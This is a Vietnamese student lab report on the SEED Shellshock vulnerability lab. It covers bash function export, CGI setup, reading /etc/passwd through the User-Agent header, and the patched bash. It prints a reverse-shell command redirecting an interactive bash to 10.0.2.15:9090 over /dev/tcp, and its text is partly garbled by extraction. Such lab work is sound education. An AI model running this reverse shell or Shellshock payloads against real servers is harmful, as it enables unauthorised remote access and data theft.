(TIỂU LUẬN) THỰC tập cơ sở CHUYÊN NGHÀNH AN TOÀN PHẦN mềm NGHIÊN cứu lỗ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB)

17 4 0
(TIỂU LUẬN) THỰC tập cơ sở CHUYÊN NGHÀNH AN TOÀN PHẦN mềm NGHIÊN cứu lỗ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB)

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN  THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB) …………………………………………………………………………………………… Giảng viên hướng dẫn: PGS.TS Lương Thế Dũng Sinh viên thực hiện: Huỳnh Hải Bằng Lớp: AT15H Mã số sinh viên: AT150802 Nhóm: 13 Khóa: 2018-2023 TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN  THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB) Nhận xét giáo viên hướng dẫn: Điểm báo cáo: Xác nhận giáo viên hướng dẫn: LỜI CẢM ƠN Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng–giảng viên trực tiếp hướng dẫn, bảo, tạo điều kiện thuận lợi giúp đỡ chúng em q trình thực đề tài Để có thành ngày hơm nay, ngồi nỗ lực khơng ngừng nghỉ thành viên nhóm phần khơng nhỏ đóng góp nên thành cơng nhờ quan tâm, bảo, giúp đỡ thầy cơ, anh chị khóa bạn bè xung quanh Tuy có nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB)” chúng em nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hoàn thiện tốt đề tài nghiên cứu sau Chúng em xin chân thành cảm ơn! LỜI MỞ ĐẦU Ngày nay, với xu hướng chuyển đổi số mạnh mẽ doanh nghiệp, công ty, tổ chức dẫn đến việc tạo phần mềm quản lý, điều hành làm việc thiết yếu Bên cạnh đó, ảnh hưởng đại dịch COVID-19 thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm tạo vận hành tránh bị kẻ xấu công gây thiệt hại nghiêm trọng Đó lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu lỗ hổng Shellshock MỤC LỤC LỜI CẢM ƠN LỜI MỞ ĐẦU MỤC LỤC CHƯƠNG I : TỔNG QUAN VỀ LỖ HỔNG SHELLSHOCK Giới thiệu ShellShock Giới thiệu Environment Variables Giới thiệu Apache and CGI program CHƯƠNG II : PHÂN TÍCH VÀ THỰC BÀI LAB THEO TỪNG TASK 2.2 Task 2: Thiết lập chương trình CGI 2.3 Task 3: Truyền liệu sang Bash thông qua biến môi trường .10 2.4 Task 4: Khởi động công ShellShock 11 2.5 Task 5: Nhận ReverseShell thông qua ShellShock Attack 12 2.6 Task 6: Sử dụng Patch Bash 13 CHƯƠNG III : KẾT LUẬN 16 TÀI LIỆU THAM KHẢO 17 CHƯƠNG I : TỔNG QUAN VỀ LỖ HỔNG SHELLSHOCK Giới thiệu ShellShock Shellshock, gọi Bashdoor, lỗ hổng bảo mật Bash, công bố rộng rãi vào ngày 25 tháng năm 2014 Nhiều dịch vụ mạng, máy chủ web, sử dụng Bash để thực thi lệnh cần thiết, cho phép kẻ công khai thác lỗ hổng bảo mật Shellshock phiên Bash lỗi để phục vụ mục đích đen tối chúng Lỗ hổng bảo mật giúp kẻ công chiếm quyền điểu khiển máy nạn nhân mà không cần phải qua bước xác thực Giới thiệu Environment Variables Biến môi trường giá trị động ảnh hưởng đến phần mềm tiến trình hoạt động server Biến mơi trường – environment variable có hệ điều hành có nhiều loại khác Biến mơi trường tạo, chỉnh sửa, lưu hay xóa Biến môi trường linux chứa thông tin hệ thống, mà chuyển liệu cho phần mềm shells sub-shells Giới thiệu Apache and CGI program CGI viết tắt Common Gateway Interface, tạm dịch giao diện cổng chung CGI cung cấp phần mềm trung gian máy chủ với sở liệu nguồn thơng tin bên ngồi Trong máy chủ HTTP CGI script chịu trách nhiệm phản hồi yêu cầu từ người dùng CHƯƠNG II : PHÂN TÍCH VÀ THỰC BÀI LAB THEO TỪNG TASK 2.1 Task 1: Thử nghệm với hàm Bash Lỗ hổng shellhock bash liên quan đến hàm shell - hàm xác định bên shell Nó khai thác sai lầm bash mắc phải chuyển đổi biến môi trường thành định nghĩa hàm Để chứng minh công, thực thử nghiệm sau: Ở đây, trước tiên xác định biến cách sử dụng echo, kiểm tra nội dung biến Một hàm shell xác định in lệnh tuyên bố, bạn thấy đây, shell khơng in khơng có hàm có tên foo định nghĩa Sau đó, chúng tơi sử dụng lệnh export để chuyển đổi biến shell xác định thành biến môi trường Và sau chúng tơi chạy shell dễ bị cơng bash_shellshock, trình tạo process shell Việc chạy lệnh tương tự biến shell định nghĩa tiến trình cha khơng biến shell mà hàm shell Vì vậy, chạy hàm này, chuỗi in Using /bin/bash_shellshock Thực theo bước tương tự, với thay đổi sử dụng bash cố định thay bash_shellshock dễ bị cơng, thấy bash shell không dễ bị công shellshock Biến mơi trường chuyển từ quy trình mẹ lưu trữ dạng biến quy trình Ở đây, thấy, chương trình bash không chuyển đổi biến môi trường truyền vào thành hàm mà giữ biến shell Điều chứng tỏ khơng cịn dễ bị khai thác lỗ hổng shellshock Trước đây, vấn đề cách lập trình bash Bash quy trình chuyển đổi biến môi trường thành biến shell làm vậy, gặp phải biến mơi trường có giá trị bắt đầu dấu ngoặc đơn, chuyển đổi thành hàm shell thay biến Đó lý có thay đổi hành vi quy trình so với quy trình mẹ, dẫn đến lỗ hổng shellshock Nhưng thấy thử nghiệm sau đó, /bin/bash giữ lại biến khơng dễ bị tổn thương lỗ hổng shellhock trái ngược với /bin/bash_shellshock dễ bị tổn thương 2.2 Task 2: Thiết lập chương trình CGI Đầu tiên, tạo tệp cgi với mã cho thư mục /usr/lib/cgi-bin, thư mục CGI mặc định cho máy chủ web Apache Chương trình sử dụng bash_shellshock dễ bị cơng làm chương trình shell tập lệnh in ‘Hello World’ Ngồi ra, chúng tơi thay đổi quyền tệp để làm cho tệp thực thi cách sử dụng đặc quyền gốc Như hình ảnh sau: Tiếp theo, chạy chương trình cgi từ Web lệnh sau máy chủ web chạy máy với máy công, sử dụng localhost làm tên máy chủ / IP Ở đây, thấy tập lệnh chạy ‘Hello World’ in Điều chứng tỏ gọi chương trình cgi thơng qua curl 2.3 Task 3: Truyền liệu sang Bash thông qua biến môi trường Chúng ta biết Máy chủ Apache nhận yêu cầu CGI, tạo tiến trình thực thi chương trình CGI Nếu chương trình cgi bắt đầu #!/bin/bash, có nghĩa tập lệnh shell việc thực thi chương trình thực chương trình shell Vì vậy, trường hợp chúng ta, biết chương trình CGI thực thi, thực thực thi /bin/bash_shellshock Để công shellhock thành công, với việc thực thi bash shell dễ bị công, cần chuyển biến mơi trường cho chương trình bash Ở đây, Máy chủ Web cung cấp chương trình bash với biến môi trường Máy chủ nhận thông tin từ máy khách cách sử dụng trường định giúp máy chủ tùy chỉnh nội dung cho máy khách Các trường chuyển khách hàng người dùng tùy chỉnh Vì vậy, sử dụng trường tiêu đề tác nhân người dùng khai báo người dùng sử dụng máy chủ web Máy chủ định trường cho biến có tên HTTP_USER _AGENT Khi máy chủ web yêu cầu tiến trình thực thi chương trình CGI, chuyển biến mơi trường với biến môi trường khác đến Chương trình CGI Vì vậy, trường tiêu đề thỏa mãn điều kiện việc truyền biến mơi trường vào shell sử dụng Trường tùy chọn ‘-A’ lệnh curl sử dụng để đặt giá trị trường tiêu đề ‘Tác nhân người dùng’, thấy bên dưới: 10 Chúng thấy giá trị trường ‘Tác nhân người dùng’ lưu trữ giá trị ‘HTTP_USER_AGENT’, biến môi trường Tham số -v hiển thị yêu cầu HTTP Đây cách liệu từ máy chủ từ xa vào biến mơi trường chương trình bash 2.4 Task 4: Khởi động công ShellShock Đánh cắp nội dung tệp passwd server: Ở đây, sử dụng lỗ hổng bash_shellshock chuyển biến môi trường bắt đầu ‘() {’ - hàm cho quy trình con, sử dụng trường tiêu đề tác nhân người dùng yêu cầu HTTP Lỗ hổng chương trình bash khơng chuyển đổi biến mơi trường thành hàm mà thực thi lệnh shell có chuỗi biến mơi trường Ở đây, truyền lệnh shell để nối tệp mật khẩu, nên in nội dung tệp mật thiết bị đầu cuối Như thấy, tệp mật thực đọc in ra, hiển thị công thành công Ở đây, không phép đọc tệp máy chủ, lỗ hổng tệp sở sử dụng chương trình CGI, thành công đọc tệp máy chủ riêng Đánh cắp nội dung tệp shadow server: 11 Khi thử phương pháp, đọc tệp từ máy chủ, để đọc tệp shadow server, thấy không thành công Điều chủ sở hữu tệp shadow root người dùng bình thường khơng có quyền chí đọc tệp 2.5 Task 5: Nhận ReverseShell thông qua ShellShock Attack Reverse Shell shell chạy máy nạn nhân, lấy đầu vào từ máy kẻ công đầu hiển thị máy kẻ công Ở đây, sử dụng netcat (nc) để lắng nghe kết nối cổng 9090 máy chủ TCP (được thiết lập tham số -l lệnh.) Sau đó, sử dụng lệnh curl để gửi lệnh bash đến máy chủ user-agent Lệnh bash sau: /bin/bash -i > /dev/tcp/10.0.2.15/9090 0&1 Lệnh bash kích hoạt kết nối TCP tới cổng 9090 máy công từ máy chủ Khi thiết lập kết nối thành cơng, kẻ cơng có quyền truy cập vào shell máy 12 chủ {như thấy cách sử dụng id - uid máy chủ} Điều dẫn đến trình bao đảo ngược thành công Các tham số lệnh xác định sau: “/bin/bash -i”: Tạo lời nhắc shell, -i viết tắt interactive “> /dev/tcp/10.0.2.15/9090”: Đầu shell chuyển hướng đến cổng 9090 10.0.2.15 qua kết nối TCP “0&1”: Bộ mô tả tệp trình tạo lỗi stderr Việc gán khiến đầu lỗi chuyển hướng đến stdout, kết nối TCP Ở đây, đạt trình bao ngược cách sử dụng lỗ hổng chương trình bash sử dụng chương trình CGI phía máy chủ Chúng ta gửi lệnh shell ngược độc hại dạng tham số cho mang thông tin tác nhân người dùng Điều giúp chuyển nội dung trường tiêu đề dạng biến môi trường đến chương trình CGI Khi bash nhận biến này, chuyển biến thành hàm diện ‘() {’ Cùng với đó, lỗ hổng chương trình bash giúp thực thi lệnh shell Lệnh shell gọi / bin / bash chế độ tương tác hướng đầu đến cổng 9090 kết nối TCP đầu vào đầu lỗi chuyển hướng đến kết nối TCP Trong thiết bị đầu cuối khác, sử dụng lệnh netcat để lắng nghe kết nối cổng 9090 chấp nhận kết nối nhận Tại đây, kết nối máy chủ chấp nhận Khi công thành công, nhận shell tương tác máy chủ (Máy chủ máy riêng đây) Đây cách sử dụng shell đảo ngược để truy cập thông qua lỗ hổng shellhock 2.6 Task 6: Sử dụng Patch Bash Ở đây, thấy sử dụng /bin/bash, chuyển biến mơi trường cho chương trình CGI cách sử dụng trường tiêu đề tác nhân người dùng theo cách giống trước 13 Điều cho thấy gửi liệu tùy ý đến máy chủ dạng biến môi trường trường hợp vá /bin/bash Ở đây, thấy shell đảo ngược không tạo thành cơng nói không thành công trường hợp /bin/bash Trường tiêu đề "user-agent" chuyển lệnh curl sử dụng -A đặt theo cách tương tự biến môi trường “HTTP_USER_AGENT” 14 Ở đây, cơng khơng thành cơng chương trình bash khơng chuyển đổi biến mơi trường thành hàm lệnh khơng thực thi Điều cho thấy chuyển biến mơi trường người dùng xác định đến máy chủ, không dễ bị công shellshock việc sử dụng fixed /bin/bash_shell Vì vậy, khơng thể đạt trình bao ngược cách sử dụng chế nữa, khai thác lỗ hổng shellshock, lỗ hổng khơng cịn 15 CHƯƠNG III : KẾT LUẬN Giúp nhanh chóng biến cơng thực tế thành tài liệu giáo dục, để người hướng dẫn đưa chúng vào lớp học họ cách kịp thời giữ cho học sinh họ tương tác với xảy giới thực Phịng thí nghiệm bao gồm theo chủ đề: • ShellShock • Các biến mơi trường • Định nghĩa hàm Bash • Các chương trình Apache CGI 16 TÀI LIỆU THAM KHẢO [1] MeghaJakhotia, "Shellshock," [Online] Available: https://github.com/MeghaJakhotia/ComputerSecurityAttacks/tree/master/Shellshock [2] firmianay, "shellshock-attack-lab.md," [Online] Available: https://github.com/firmianay/Life-long-Learner/blob/master/SEEDlabs/shellshock-attack-lab.md [3] li-xin-yi, "Shellshock-Attack," [Online] Available: https://github.com/li-xin-yi/seedlab/tree/master/Shellshock-Attack [4] W Du, "Shellshock Attack Lab," [Online] Available: https://seedsecuritylabs.org/Labs_16.04/Software/Shellshock/ 17 ...BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN  THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB) Nhận... chắn đề tài “NGHIÊN CỨU LỖ HỔNG SHELLSHOCK (SHELLSHOCK VULNERABILITY LAB)? ?? chúng em nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hồn thiện tốt đề tài nghiên cứu sau Chúng... QUAN VỀ LỖ HỔNG SHELLSHOCK Giới thiệu ShellShock Shellshock, gọi Bashdoor, lỗ hổng bảo mật Bash, công bố rộng rãi vào ngày 25 tháng năm 2014 Nhiều dịch vụ mạng, máy chủ web, sử dụng Bash để thực

Ngày đăng: 14/12/2022, 10:24

Tài liệu cùng người dùng

  • Đang cập nhật ...

Tài liệu liên quan